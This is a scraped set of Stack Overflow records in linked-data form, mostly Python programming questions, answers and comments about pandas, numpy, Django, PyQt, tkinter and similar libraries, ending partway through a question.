tagged with: python-3.x
upvote count: 1
tagged with: python

http://stackoverflow.com/comment/84548426
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48773437
type: QuestionComment
has text: You have a few syntax errors. `NAME = “Four”` should be `NAME == "Four"`. Notice two equals signs for equality comparison and normal double quotes, not "fancy" quotes, around `Four`.

http://stackoverflow.com/comment/84555743
type: QuestionComment
comment on: http://stackoverflow.com/q/48776693
score: 0
has text: @mgracer no success
type: Comment

http://stackoverflow.com/comment/84333310
score: 0
type: Comment
has text: Apparently, you don't have the Chrome driver installed, at least for selenium. See here https://stackoverflow.com/a/34522424/4345659 to install chromedriver on Windows (I think you have to download it and place it in C:\Windows, it should be simple). Install it and try again.
comment on: http://stackoverflow.com/a/48666292
type: AnswerComment

http://stackoverflow.com/q/48736176
type: Question
tagged with: numpy
has title: Cross product between columns of two matrices
tagged with: matrix
accepted answer: http://stackoverflow.com/a/48736776
answer count: 1
has comment: http://stackoverflow.com/comment/84471796
has comment: http://stackoverflow.com/comment/84472065
has comment: http://stackoverflow.com/comment/84471893
has body: Given two matrices and of dimensions a D x N, I want to compute . Could you please suggest a vectorize way to do such calculation? Thank you!
tagged with: python
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/48736776

http://stackoverflow.com/a/48778078
has comment: http://stackoverflow.com/comment/86804311
downvote count: 0
has comment: http://stackoverflow.com/comment/84635914
type: Answer
has comment: http://stackoverflow.com/comment/84557800
score: 1
has body: You have several solutions, but generally what you need to do it output the indices of the non-zero elements as well as the values. Lets assume that you want to export to a single text file. Generate array Lets first generate a 10000 x 5000 sparse array with ~10% filled (it will be a bit less due to replicated indices): N = 10000; M = 5000; rho = .1; rN = ceil(sqrt(rho)*N); rM = ceil(sqrt(rho)*M); S = sparse(N, M); S(randi(N, [rN 1]), randi(M, [rM 1])) = randi(255, rN, rM); If your array is not stored as a sparse array, you can create it simply using (where M is the full array): S = sparse(M); Save as text file Now we will save the matrix in the following format row_indx col_indx value row_indx col_indx value row_indx col_indx value This is done by extracting the row and column indices as well as data values and then saving it to a text file in a loop: [n, m, s] = find(S); fid = fopen('Sparse.txt', 'wt'); arrayfun(@(n, m, s) fprintf(fid, '%d\t%d\t%d\n', n, m, s), n, m, s); fclose(fid); If the underlying data is not an integer, then you can use the %f flag on the last output, e.g. (saved with 15 decimal places) arrayfun(@(n, m, s) fprintf(fid, '%d\t%d\t%.15f\n', n, m, s), n, m, s); Compare this to the full array: fid = fopen('Full.txt', 'wt'); arrayfun(@(n) fprintf(fid, '%s\n', num2str(S(n, :))), (1:N).'); fclose(fid); In this case, the sparse file is ~50MB and the full file ~170MB representing a factor of 3 efficiency. This is expected since I need to save 3 numbers for every nonzero element of the array, and ~10% of the array is filled, requiring ~30% as many numbers to be saved compared to the full array. For floating point format, the saving is larger since the size of the indices compared to the floating point value is much smaller. In Matlab, a quick way to extract the data would be to save the string given by: mat2str(S) This is essentially the same but wraps it in the sparse command for easy loading in Matlab - one would need to parse this in other languages …
upvote count: 1
answers question: http://stackoverflow.com/q/48770975

http://stackoverflow.com/a/48705460
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/48705166
score: 4
type: Answer
has body: The L is part of Python's representation of the value, to show you that it's a long(). The actual number is ... well, the actual number. So there isn't really a "suffix" to trim off. int() will still return a long() if the value is too long to fit into an int() -- but you can use str() to get just the digits in a form which is convenient to put in a CSV file. In fact, the Python csv module (unsurprisingly) already does something like this, so I am not altogether sure you need this for your stated scenario.

http://stackoverflow.com/comment/84514462
type: AnswerComment
has text: That makes a lot of sense but I can't use that since my online teacher is strict about only using things in the lesson we learned. The course can be very vague at times. It has gone over loops but not too much depth.
type: Comment
comment on: http://stackoverflow.com/a/48756572
score: 0

http://stackoverflow.com/comment/84593288
has text: in which order do you want to keep your dic?? insertion oder??
type: QuestionComment
comment on: http://stackoverflow.com/q/48795387
score: 0
type: Comment

http://stackoverflow.com/comment/84424217
type: Comment
comment on: http://stackoverflow.com/a/48712442
type: AnswerComment
score: 0
has text: Does this give me the count of each individual product in cart or the total number of products in cart?

http://stackoverflow.com/comment/84354303
has text: In this case i'll need to load multiple files per package. Maybe i can do something with pkg_resources?
comment on: http://stackoverflow.com/a/48666116
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/48652385
has comment: http://stackoverflow.com/comment/84324247
has comment: http://stackoverflow.com/comment/84320144
has comment: http://stackoverflow.com/comment/84324804
has comment: http://stackoverflow.com/comment/84324273
has comment: http://stackoverflow.com/comment/84324238
has comment: http://stackoverflow.com/comment/84324163
answer count: 0
type: UnansweredQuestion
score: 0
has body: I have a little problem. I've create a login and registration site seperated from Admin Login. When I login to panel as for example John i have a choise to add new record via forms. After that I want on dashboard display the records created exacly and only by user John. Problem is that, if I wrote in my dashboard.html the code Strony www {% for website in website_list %} {{website.website}} {% endfor %} {% endif %} the html responde me only label Strony www and thats all. It's not displaying me records created by the users from dashboard panel. I have in my view def website(request): website_list = Website.objects.filter(user=request.user).order_by('-User') context = {'website_list:', website_list} return render(request, 'konto/dashboard.html', context=context) If I create the records using Django Admin Panel, the records are visible in dashboard. Where is a problem in my project? I want to say in every html file I using the code on the beggining {% if request.user.is_authenticated %} EDIT: my models.py is from django.db import models from django.contrib.auth.models import User class Website(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name="Użytkownik") website = models.CharField(max_length=250,verbose_name='Strona www', unique=False) class Meta: verbose_name = 'Strona www' verbose_name_plural = 'Strony www' def __str__(self): return self.website class Keyword(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name="Użytkownik") www = models.ForeignKey(Website, on_delete=models.CASCADE, verbose_name="Strona www") keyword = models.CharField(max_length=250, verbose_name="Słowo kluczowe", unique=False) class Meta: verbose_name = 'Słowo kluczowe' verbose_name_plural = 'Słowa kluczowe' def __str__(self): return self.keyword
tagged with: django
tagged with: python
type: Question
has title: Queryset after login in created login panel doesn't display in html
has comment: http://stackoverflow.com/comment/84305617

http://stackoverflow.com/comment/84462875
type: Comment
has text: are we merging on frozensets or merging on tuples? it can make a difference!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48731383

http://stackoverflow.com/a/48794711
type: Answer
has comment: http://stackoverflow.com/comment/84622250
score: 1
has comment: http://stackoverflow.com/comment/84619120
answers question: http://stackoverflow.com/q/48793100
accepted answer of: http://stackoverflow.com/q/48793100
upvote count: 1
type: AcceptedAnswer
has body: It is advisable to use the tools that PyQt offers to handle threads: QThreadPool with QRunnable: def fetch(): reddit = init_reddit() subreddit = reddit.subreddit("LandscapePhotography") counter = 0 for submission in subreddit.submissions(None, time.time()): counter += 1 print( "Counter: {} Submission title: {} , Submission URL: {} ,Created at: {}".format( counter, submission.title, submission.url, datetime.datetime.fromtimestamp( int(submission.created) ).strftime("%Y-%m-%d %H:%M:%S"), ) ) submission = Submission( submission.title, submission.url, datetime.datetime.fromtimestamp(int(submission.created)).strftime( "%Y-%m-%d %H:%M:%S" ), ) QMetaObject.invokeMethod( model, "addSubmission", Qt.QueuedConnection, Q_ARG(Submission, submission), ) QThread.msleep(10) if counter == 400: break class RedditRunnable(QRunnable): def run(self): fetch() and then it is called in the main: if __name__ == '__main__': import sys app = QGuiApplication(sys.argv) model = SubmissionModel() view = QQuickView() view.setResizeMode(QQuickView.SizeRootObjectToView) ctxt = view.rootContext() ctxt.setContextProperty('myModel', model) view.setSource(QUrl('main.qml')) view.show() runnable = RedditRunnable() QThreadPool.globalInstance().start(runnable) sys.exit(app.exec_()) Or use signals: def fetch(): reddit = init_reddit() subreddit = reddit.subreddit("LandscapePhotography") counter = 0 message = Message() message.submissionSignal.connect(model.addSubmission, Qt.QueuedConnection) for submission in subreddit.submissions(None, time.time()): counter += 1 print( "Counter: {} Submission title: {} , Submission URL: {} ,Created at: {}".format( counter, submission.title, submission.url, datetime.datetime.fromtimestamp( int(submission.created) ).strftime("%Y-%m-%d %H:%M:%S"), ) ) submission = Submission( submission.title, submission.url, datetime.datetime.fromtimestamp(int(submission.created)).strftime( "%Y-%m-%d %H:%M:%S" ), ) message.submissionSignal.emit(submission) QThread.msleep(10) if counter == 400:…
downvote count: 0

http://stackoverflow.com/a/50212456
downvote count: 0
score: 1
type: AcceptedAnswer
upvote count: 1
answers question: http://stackoverflow.com/q/48793518
accepted answer of: http://stackoverflow.com/q/48793518
has body: The only solution I found is to monkey-patch admindocs. In file django/contrib/admindocs/views.py find the method ModelDetailView.get_context_data. There is a section that gathers model methods, but skips the properties as they are not methods. So we need to (1) add properties to the condition and (2) append the property to the list of fields. # Gather model methods. for func_name, func in model.__dict__.items(): # # CHANGE 1: add isinstance(func, property) to the condition # # if inspect.isfunction(func): # old line if inspect.isfunction(func) or isinstance(func, property): try: for exclude in MODEL_METHODS_EXCLUDE: if func_name.startswith(exclude): raise StopIteration except StopIteration: continue verbose = func.__doc__ if verbose: verbose = utils.parse_rst(utils.trim_docstring(verbose), 'model', _('model:') + opts.model_name) # # CHANGE 2: If this is a property, show it as a 'field' # if isinstance(func, property): fields.append({ 'name': func_name, 'data_type': get_return_data_type(func_name), 'verbose': verbose or '', }) # Else if a method has no arguments, show it as a 'field', otherwise # as a 'method with arguments'. elif func_has_no_args(func) and not func_accepts_kwargs(func) and not func_accepts_var_args(func): fields.append({ 'name': func_name, 'data_type': get_return_data_type(func_name), 'verbose': verbose or '', }) else: arguments = get_func_full_args(func) # Join arguments with ', ' and in case of default value, # join it with '='. Use repr() so that strings will be # correctly displayed. print_arguments = ', '.join([ '='.join(list(arg_el[:1]) + [repr(el) for el in arg_el[1:]]) for arg_el in arguments ]) methods.append({ 'name': func_name, 'arguments': print_arguments, 'verbose': verbose or '', })
type: Answer

http://stackoverflow.com/comment/84440005
has text: If you see my input in the question above, I have given some inputs of a new user, but in the data i havent had a teacher who is young ... so my function should only combine 'ma','m' and 'young'
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48719827

tabular
tags question: http://stackoverflow.com/q/48699585
type: Tag
tag name: tabular
tags question: http://stackoverflow.com/q/48677879

http://stackoverflow.com/q/48803063
has comment: http://stackoverflow.com/comment/84608829
favorite count: 0
tagged with: python-3.x
has title: how to convert list of values of a coulmn and assign it 0 or 1
tagged with: python
linked to: http://stackoverflow.com/q/48883138
type: AnsweredQuestion
score: 3
upvote count: 3
accepted answer: http://stackoverflow.com/a/48803144
has comment: http://stackoverflow.com/comment/84608948
type: Question
has comment: http://stackoverflow.com/comment/84608855
has comment: http://stackoverflow.com/comment/84609125
downvote count: 0
has answer: http://stackoverflow.com/a/48803144
has body: Am trying to assign a one or zero if the particular item was purchased by that user. Below is the dataset used. Am getting '[' brackets when I use dummies. DF: user items A [111,333,444] B [333, 444, 555] C [555, 111, 333] D [222,333, 333,333] E [111,333,444,555] F [222,555,111] output : [111 222 [333 444 [555 A 1 0 1 1 0 B 0 0 1 1 1 C 1 0 1 0 1 D 0 1 1 0 0 E 1 0 1 1 1 F 1 1 0 0 1 CODE: (df.set_index('user')['items'].str.get_dummies(','))
has comment: http://stackoverflow.com/comment/84608879
tagged with: pandas
answer count: 1

http://stackoverflow.com/comment/84350581
comment on: http://stackoverflow.com/a/48676014
type: Comment
has text: @Jame I'm not sure what you mean by converting tensor to image, If you mean saving/displaying the result when the graph is run. It would probably give you a numpy array in shape of an image, which you can save to disk or plot using matplotlib. If you want tensorflow to encode the tensor, I've never used it but [tf.image.encode_png](https://www.tensorflow.org/api_docs/python/tf/image/encode_png) seems to do that.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/88116002
score: 1
type: AnswerComment
has text: Not sure, but I bet you this commit fixed it. https://github.com/apache/spark/commit/03367d7aa3acd3abbcacba57ea75c8efa2a9a794
type: Comment
comment on: http://stackoverflow.com/a/48711881

http://stackoverflow.com/q/48773602
possible better answer: http://stackoverflow.com/a/48773697
has answer: http://stackoverflow.com/a/48773650
has answer: http://stackoverflow.com/a/48773697
score: 2
type: AnsweredQuestion
has title: Pandas groupby get first element of group where row matches criteria
tagged with: group-by
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/48773650
downvote count: 0
favorite count: 0
tagged with: pandas
tagged with: python
tagged with: aggregate
upvote count: 2
has body: I have a dataframe where some rows have all the same values except for one column. I wish to remove duplicate rows, keeping only the first row in each group whose value in that column is 1, or one arbitrary row if no values in that column are 1. Example data: df = pd.DataFrame({'a': [1, 1, 1, 2, 2, 3, 3], 'b': [0, 1, 2, 3, 4, 5, 6], 'c': [0, 1, 0, 0, 0, 1, 1]}) And my desired output is something like df.groupby(['a']).first_where(lambda row: row['c'] == 1).reset_index() a b c 0 1 1 1 1 2 4 0 2 3 5 1

http://stackoverflow.com/a/48726340
has comment: http://stackoverflow.com/comment/84451717
score: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/84451799
accepted answer of: http://stackoverflow.com/q/48726197
answers question: http://stackoverflow.com/q/48726197
upvote count: 1
has body: What you are trying to do is not possible. At least not in a way you want to do it. WebSockets is an application layer protocol, much like HTTP protocol is. Pay attention at ws part of ws://localhost:5000. On the other side you are using plain BSD sockets. This is just a raw socket for communication between two parties. It needs an to 'have an idea' about what the other side (AngularJS) is 'speaking', i.e. needs to communicate using same protocol. In BSD sockets case it inherently doesn't. That is why you get: ng-websocket.js:122 WebSocket connection to 'ws://localhost:5000/' failed: Error during WebSocket handshake: net::ERR_CONNECTION_RESET To be able to do this, you will need some asynchronous programming framework with WebSockets protocol built on top of it. One suggestion is Autobahn.

pca
tag name: pca
tags question: http://stackoverflow.com/q/48651905
tags question: http://stackoverflow.com/q/48711307
tags question: http://stackoverflow.com/q/48660770
type: Tag
tags question: http://stackoverflow.com/q/48769245
tags question: http://stackoverflow.com/q/48762286
tags question: http://stackoverflow.com/q/48730134

http://stackoverflow.com/comment/84500329
score: 0
type: AnswerComment
has text: Thank you for your answer. I'll try this now and report back.
type: Comment
comment on: http://stackoverflow.com/a/48749944

http://stackoverflow.com/a/48653770
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48653496
has comment: http://stackoverflow.com/comment/84305772
type: Answer
has comment: http://stackoverflow.com/comment/84305793
has comment: http://stackoverflow.com/comment/84305761
has comment: http://stackoverflow.com/comment/84391359
has comment: http://stackoverflow.com/comment/84305821
has comment: http://stackoverflow.com/comment/84305833
has body: Here's how I would've written it: def waffles(): response = input("Do you like Waffles?\t\t\t") print(response.lower()) if response.lower() != "yes": print("Ok, so you don't like Waffles...") response = input("Do you like Pancakes?\t\t\t") if response.lower() != "no": print("Then let's fix some!!!") else: print("Ok, so you don't like Pancakes...") response = input("Do you like French Toast?\t\t") if response.lower() != "no": print("Then let's fix some!!!") if response.lower() != "yes": input("Then what do you like?\t\t\t") print ("Oh! Ok.") waffles()
score: 0
has comment: http://stackoverflow.com/comment/84305829
accepted answer of: http://stackoverflow.com/q/48653496

imagemagick-convert
tags question: http://stackoverflow.com/q/48765314
tag name: imagemagick-convert
type: Tag

http://stackoverflow.com/comment/84355307
comment on: http://stackoverflow.com/q/48678902
score: 1
has text: If the device has a USB serial converter in it, you shouldn't need pyUSB. Make sure the serial port is available in the OS. You might have to install some drivers. Then use pyserial to interact with the device. Of cause you need to know what to send first.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48781344
has comment: http://stackoverflow.com/comment/84564174
has comment: http://stackoverflow.com/comment/84564117
has comment: http://stackoverflow.com/comment/84564337
upvote count: 3
tagged with: filter
has comment: http://stackoverflow.com/comment/84564084
tagged with: pandas
has comment: http://stackoverflow.com/comment/84564068
answer count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84564030
has comment: http://stackoverflow.com/comment/84564136
has answer: http://stackoverflow.com/a/48783572
accepted answer: http://stackoverflow.com/a/48783572
tagged with: python
has comment: http://stackoverflow.com/comment/84564352
has title: Pandas filtering (~isin) is not working
type: AnsweredQuestion
score: 2
type: Question
has body: This is my data omzet_activity_paid_count_january_devices No Text 1 dcbjkd 2 hdgfhds 3 dsdfs 33 jhsda 40 ydgyua I am expecting to filter data like this omzet_activity_paid_count_january_devices No Text 3 dsdfs 40 ydgyua This is what I did user_internal = ['1','2','33'] omzet_activity_paid_count_january_devices = omzet_activity_paid_count_january_devices[~omzet_activity_paid_count_january_devices.No.isin(user_internal)] The code above is not working, the output still like my original dataframe, what did I miss?
has comment: http://stackoverflow.com/comment/84564036
has comment: http://stackoverflow.com/comment/84564119

http://stackoverflow.com/q/48739671
accepted answer: http://stackoverflow.com/a/48752701
upvote count: 3
downvote count: 1
has title: How to read a Google Cloud Storage file from Google App Engine
score: 2
type: AnsweredQuestion
has body: How do you open a file (from App Engine) that's stored in Google Cloud Storage? I am using Python, Flask and App Engine (Flexible environment). The file is not public, the bucket belongs to the App Engine project, so has the correct permissions set. app.yaml runtime: python env: flex entrypoint: gunicorn -b :$PORT view:app runtime_config: python_version: 3.5 env_variables: CLOUD_STORAGE_BUCKET: &lt;project-xxxx&gt; view.py ... from google.cloud import storage gcs = storage.Client() @app.route('/start_serving/&lt;file_name&gt;') def start(file_name): WHAT TO DO HERE? #Rest of the app Thank you in advance. I couldn't find anything related in documentation. It provides information on how to create a bucket, how to upload, how to download, how to give permission, but nothing about how to read it. Also, how can I open it from my computer (before running the 'gcloud app deploy' command)?
tagged with: google-cloud-storage
type: Question
has answer: http://stackoverflow.com/a/48752701
answer count: 1
favorite count: 0
tagged with: google-app-engine
tagged with: python

http://stackoverflow.com/comment/84440333
type: AnswerComment
comment on: http://stackoverflow.com/a/48678441
has text: Also https://stackoverflow.com/questions/4719438/editing-specific-line-in-text-file-in-python
type: Comment
score: 0

http://stackoverflow.com/a/48666966
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48666358
type: Answer
has body: There are two issues in your code: The first is that tree.insert("", tk.END, values=row) is not inside the for loop, so only the last row will be inserted in the treeview. The second is that the column #0 is a special column, and its value is set with text=..., not with values=(...). To display correctly your data, you have at least two alternatives: The first is to replace tree.insert("", tk.END, values=row) by tree.insert("", tk.END, text=row[0], values=row[1:]) The second is not to use the special column #0, you don't need it because you are using the treeview as a table. When you create the tree, use the option show='headings' to hide column #0 and create 3 columns: from tkinter import ttk import tkinter as tk import sqlite3 def connect(): conn = sqlite3.connect("TRIAL.db") cur = conn.cursor() cur.execute("CREATE TABLE IF NOT EXISTS profile(id INTEGER PRIMARY KEY, First TEXT, Surname TEXT)") conn.commit() conn.close() def View(): conn = sqlite3.connect("TRIAL.db") cur = conn.cursor() cur.execute("SELECT * FROM profile") rows = cur.fetchall() for row in rows: print(row) # it print all records in the database tree.insert("", tk.END, values=row) conn.close() connect() # this to create the db root = tk.Tk() root.geometry("400x400") tree= ttk.Treeview(root, column=("column1", "column2", "column3"), show='headings') tree.heading("#1", text="NUMBER") tree.heading("#2", text="FIRST NAME") tree.heading("#3", text="SURNAME") tree.pack() b2 = tk.Button(text="view data", command=View) b2.pack() root.mainloop()
answers question: http://stackoverflow.com/q/48666358
score: 7
type: AcceptedAnswer
upvote count: 7

http://stackoverflow.com/q/48755701
has answer: http://stackoverflow.com/a/48756349
has comment: http://stackoverflow.com/comment/84513464
tagged with: python-2.7
favorite count: 0
upvote count: 8
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48761461
has comment: http://stackoverflow.com/comment/84513604
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/48756565
has comment: http://stackoverflow.com/comment/84513753
has comment: http://stackoverflow.com/comment/84513720
has comment: http://stackoverflow.com/comment/84513772
score: 7
tagged with: floating-point
downvote count: 1
has body: Because numpy.arange() uses ceil((stop - start)/step) to determine the number of items, a small float imprecision (stop = .400000001) can add an unintended value to the list. Example The first case does not include the stop point (intended) &gt;&gt;&gt; print(np.arange(.1,.3,.1)) [0.1 0.2] The second case includes the stop point (not intended) &gt;&gt;&gt; print(np.arange(.1,.4,.1)) [0.1 0.2 0.3 0.4] numpy.linspace() fixes this problem, np.linspace(.1,.4-.1,3). but requires you know the number of steps. np.linspace(start,stop-step,np.ceil((stop-step)/step)) leads to the same incosistencies. Question How can I generate a reliable float range without knowing the # of elements in the range? Extreme Case Consider the case in which I want generate a float index of unknown precision np.arange(2.00(...)001,2.00(...)021,.00(...)001)
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84513465
has comment: http://stackoverflow.com/comment/84514343
has comment: http://stackoverflow.com/comment/84513964
has answer: http://stackoverflow.com/a/48756238
has comment: http://stackoverflow.com/comment/84513950
has title: How to prevent float imprecision from affecting numpy.arange?

http://stackoverflow.com/comment/84394415
type: Comment
type: QuestionComment
has text: Sorry, I should have been more clear. I'd like to know how to scale the gradient step taken by the optimizer during training. Currently, I just feed a loss function and a learning rate into the optimizer, and it simply does its thing. But I'd like to further scale the gradient step it takes by the values outputted by the master network.
score: 0
comment on: http://stackoverflow.com/q/48690782

http://stackoverflow.com/a/58841767
has body: In Ubuntu install zbar-tools sudo apt-get install zbar-tools
upvote count: 20
type: Answer
downvote count: 0
score: 20
answers question: http://stackoverflow.com/q/48792965
has comment: http://stackoverflow.com/comment/137638565

http://stackoverflow.com/q/48772978
type: AnsweredQuestion
score: 3
downvote count: 0
possible better answer: http://stackoverflow.com/a/48772979
has title: How to share a virtual environment with pipenv?
linked to: http://stackoverflow.com/q/55892572
type: Question
tagged with: pipenv
has answer: http://stackoverflow.com/a/56910756
accepted answer: http://stackoverflow.com/a/56910756
answer count: 2
upvote count: 3
has body: Pipenv virtual environnements (venv) will be shared with children folders. So for example if you have installed an venv in ~/foo/, it will be accessible in ~/foo/baz/ But what if you want to share the same venv between ~/foo/bob/ and ~/baz/alice/ ? The following kind of worked for me. I hope it can help.
favorite count: 0
has answer: http://stackoverflow.com/a/48772979
tagged with: python

http://stackoverflow.com/q/48739048
has title: How to "slice" a pair of lists based on values in one of them
has answer: http://stackoverflow.com/a/48739150
type: Question
possible better answer: http://stackoverflow.com/a/48739147
has answer: http://stackoverflow.com/a/48739160
has answer: http://stackoverflow.com/a/48739147
score: 2
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/48739160
answer count: 5
has body: I have two lists of equal length, one containing labels and the other data. For example: labels = ['cat', 'cat', 'dog', 'dog', 'dog', 'fish', 'fish', 'giraffe', ...] data = [ 0.3, 0.1, 0.9, 0.5, 0.4, 0.3, 0.2, 0.8, ... ] How can I extract sub-lists of both lists in parallel based on a particular label in the labels list? For example, using fish as a selection criteria, I want to generate: selected_labels = [ 'fish', 'fish' ] selected_data = [ 0.3, 0.2 ] My best guess sounds cumbersome - make a list of element-wise tuples, extract a list of relevant tuples from that list, then de-tuple that list of tuples back into two lists of single elements. Even if that's the way to approach it, I'm too new to Python to stumble on the syntax for that.
linked to: http://stackoverflow.com/q/19339
tagged with: python
has answer: http://stackoverflow.com/a/48739092
has answer: http://stackoverflow.com/a/48739341
type: AnsweredQuestion
tagged with: list
upvote count: 2
linked to: http://stackoverflow.com/q/3480184

http://stackoverflow.com/comment/84531121
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48761437
type: Comment
has text: If check edited answer, it add first `m1` and then `m2`, so it should working nice.

http://stackoverflow.com/comment/84291337
score: 0
type: Comment
type: QuestionComment
has text: No, nothing has changed.
comment on: http://stackoverflow.com/q/48646655

http://stackoverflow.com/comment/84450674
score: 0
has text: @Patrick Artner label_img() is just a function that returns a number.
comment on: http://stackoverflow.com/q/48725791
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84328725
has text: `InetAddress address = InetAddress.getByName(mIpEdit.getText().toString());`. As we do not know what the user typed in it is guessing what happens. Please post code that we can understand. For example `InetAddress address = InetAddress.getByName("192.168.0.10");` Or whatever you use.
comment on: http://stackoverflow.com/q/48663016
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48759377
score: 2
upvote count: 2
type: AcceptedAnswer
has body: Your code has the following errors: The variable self refers to the same instance of the class, in your case self refers to an instance of MainMenu, and if we observe MainMenu it does not have any drawOtherPage() method. Another mistake in your case is to call the parent's constructor twice: class MainMenu(QWidget): # class for main menu def __init__(self, parent=None): QWidget.__init__(self, parent) super().__init__() In the first constructor you are assigning a parent, and in the second, you are not. To clarify in python there are several ways to call the parent's constructor: QWidget.__init__(self, parent) super(MainMenu, self).__init__(parent) super().__init__(parent) so you should only use one of them. Another error is that a signal is connected through the name of a function, the function must not be evaluated using parentheses and for the last use of functions or methods that involve several objects should be done in a place where both objects can access, in your case you can take advantage of what you are going to RootInit as parent of MainMenu: self.main = MainMenu(self), and access the connection to that element through the method parent(). All of the above entails modifying the MainMenu class to the following: class MainMenu(QWidget): def __init__(self, parent=None): QWidget.__init__(self, parent) mainLayout = QGridLayout() # layout for entire main menu quitBtn = QPushButton("Quit") quitBtn.clicked.connect(QtCore.QCoreApplication.instance().quit) nextPg = QPushButton("Next page") nextPg.clicked.connect(self.parent().drawOtherPage) mainLayout.addWidget(quitBtn, 0, 0) mainLayout.addWidget(nextPg, 0, 1) self.setLayout(mainLayout)
accepted answer of: http://stackoverflow.com/q/48759203
answers question: http://stackoverflow.com/q/48759203
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/84600986

http://stackoverflow.com/q/48766758
tagged with: mysql
has answer: http://stackoverflow.com/a/48766793
type: Question
tagged with: pymysql
score: 0
answer count: 1
has body: I can't find a solution to this on SO, so my last choice is to ask this. I ran the code on MySQL and everything seems fine, but when I ran the code in Python, I got an error: %d format: a number is required, not str, is this a glitch of PyMySQL? The two %s should be the placeholder of apple while the %d, %b, and %y should be only used within the SQL command and does not act as the placeholder outside the command. db.query("""SELECT *, DATE_FORMAT(DATE_ADD ('1970-01-01 00:00:00',INTERVAL pubtime SECOND), '%d %b %Y') AS pubdate FROM media WHERE MATCH (description) AGAINST (%s IN BOOLEAN MODE) OR MATCH (headline) AGAINST (%s IN BOOLEAN MODE) ORDER BY pubtime DESC LIMIT 5""", ('apple', 'apple'))
type: UnansweredQuestion
tagged with: python
has title: PyMySQL, MySQL, Python: String formatting

http://stackoverflow.com/comment/84473723
type: Comment
type: QuestionComment
has text: @Ian: I uploaded whole HTML code.
comment on: http://stackoverflow.com/q/48736196
score: 0

http://stackoverflow.com/comment/84373598
score: 0
type: Comment
type: QuestionComment
has text: Do you have the option to use python 3 instead? It is a good idea in general, but in particular concerning issues with unicode.
comment on: http://stackoverflow.com/q/48687883

http://stackoverflow.com/a/48782920
has body: To read a pixel value in PIL from PIL import Image im = Image.open(imagename) pix = im.load() print (pix[0,0]) This will return the first pixel in the first row. If you wanted to read all pixels you could do something like this. x, y = im.size for i in x: for j in y: print (pix[i,j])
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84567323
answers question: http://stackoverflow.com/q/48782541

http://stackoverflow.com/comment/84447374
comment on: http://stackoverflow.com/q/48719674
has text: Do you need solution which should be working with `get_top('ma', 'M', 'teacher)` or `get_top('M', 'young','teacher)` or `get_top('ma', 'teacher)` ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/89570503
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48684274
type: AnswerComment
has text: how can i load my AlexNet.pb file then use it for classification ?

http://stackoverflow.com/a/48788047
answers question: http://stackoverflow.com/q/48787636
type: AcceptedAnswer
has body: You should have shown the way "your browser" is creating this post data. Presumably, you are using some Javascript that looks something like this: $.post(url, { form_data: JSON.stringify(data) }, ...) You need to follow the same structure, using a dict containing a "form_data" key. data = { "kkz": "ALF", .. } .... response = c.post('/wizard/....', data={'form_data': json.dumps(data)}, content_type="application/x-www-form-urlencoded")
downvote count: 0
has comment: http://stackoverflow.com/comment/84578561
type: Answer
has comment: http://stackoverflow.com/comment/84578452
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48787636
score: 1

http://stackoverflow.com/comment/84382401
comment on: http://stackoverflow.com/a/48686479
type: Comment
type: AnswerComment
has text: The lines of data has 40% to 50% of zeros.
score: 0

http://stackoverflow.com/q/48708578
answer count: 1
favorite count: 0
duplicate of: http://stackoverflow.com/q/42732403
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84415936
has comment: http://stackoverflow.com/comment/84415981
has answer: http://stackoverflow.com/a/48708617
linked to: http://stackoverflow.com/q/42732403
upvote count: 1
downvote count: 1
type: Question
has body: I am having some trouble generating the sum of some numbers when reading a file line-by-line. I want to calculate the sum from a separate file without saving the numbers as a list. Is there an easy command for this? My code looks like this: def imput(filename): with open(filename, 'r') as f: #open the file for line in f: input('sample.txt')` The file 'sample.txt' consists of the numbers 1,2,4,6,8 and when I use the print function I get: print(line) 1 2 4 6 8
tagged with: sum
has title: Generating sum when reading file line-by-line
score: 0
has comment: http://stackoverflow.com/comment/84416005

http://stackoverflow.com/q/48671498
has comment: http://stackoverflow.com/comment/84376654
tagged with: python-3.x
has body: I am trying to isolate part of an image using connected component labeling. I am using scipy's ndimage.label on this image: enter image description here for some reason the result is this: enter image description here The part of the image that actually interests me is the white triangle in the upper right corner, which for some reason is labelled as background. What am I doing wrong? The code I'm using is: import numpy as np from scipy import misc from scipy import ndimage import matplotlib.pyplot as plt from skimage.filters import threshold_otsu from skimage.measure import label from skimage.morphology import closing, square from skimage.color import label2rgb from scipy.ndimage.measurements import label im = misc.imread('20588046_024ee3569b2605dc_MG_R_ML_ANON.jpg') med_im = ndimage.median_filter(im1, 3) bw = closing(med_im &gt; 170, square(3)) fill_bw = ndimage.binary_fill_holes(bw) s = [[1, 1, 1], [1, 1, 1], [1, 1, 1]] label_im, nb_labels = ndimage.label(fill_bw, structure=s) sizes = ndimage.sum(fill_bw, label_im, range(nb_labels + 1)) mask_size = sizes &lt; 1000 remove_pixel = mask_size[label_im] label_im[remove_pixel] = 0 plt.imshow(label_im, 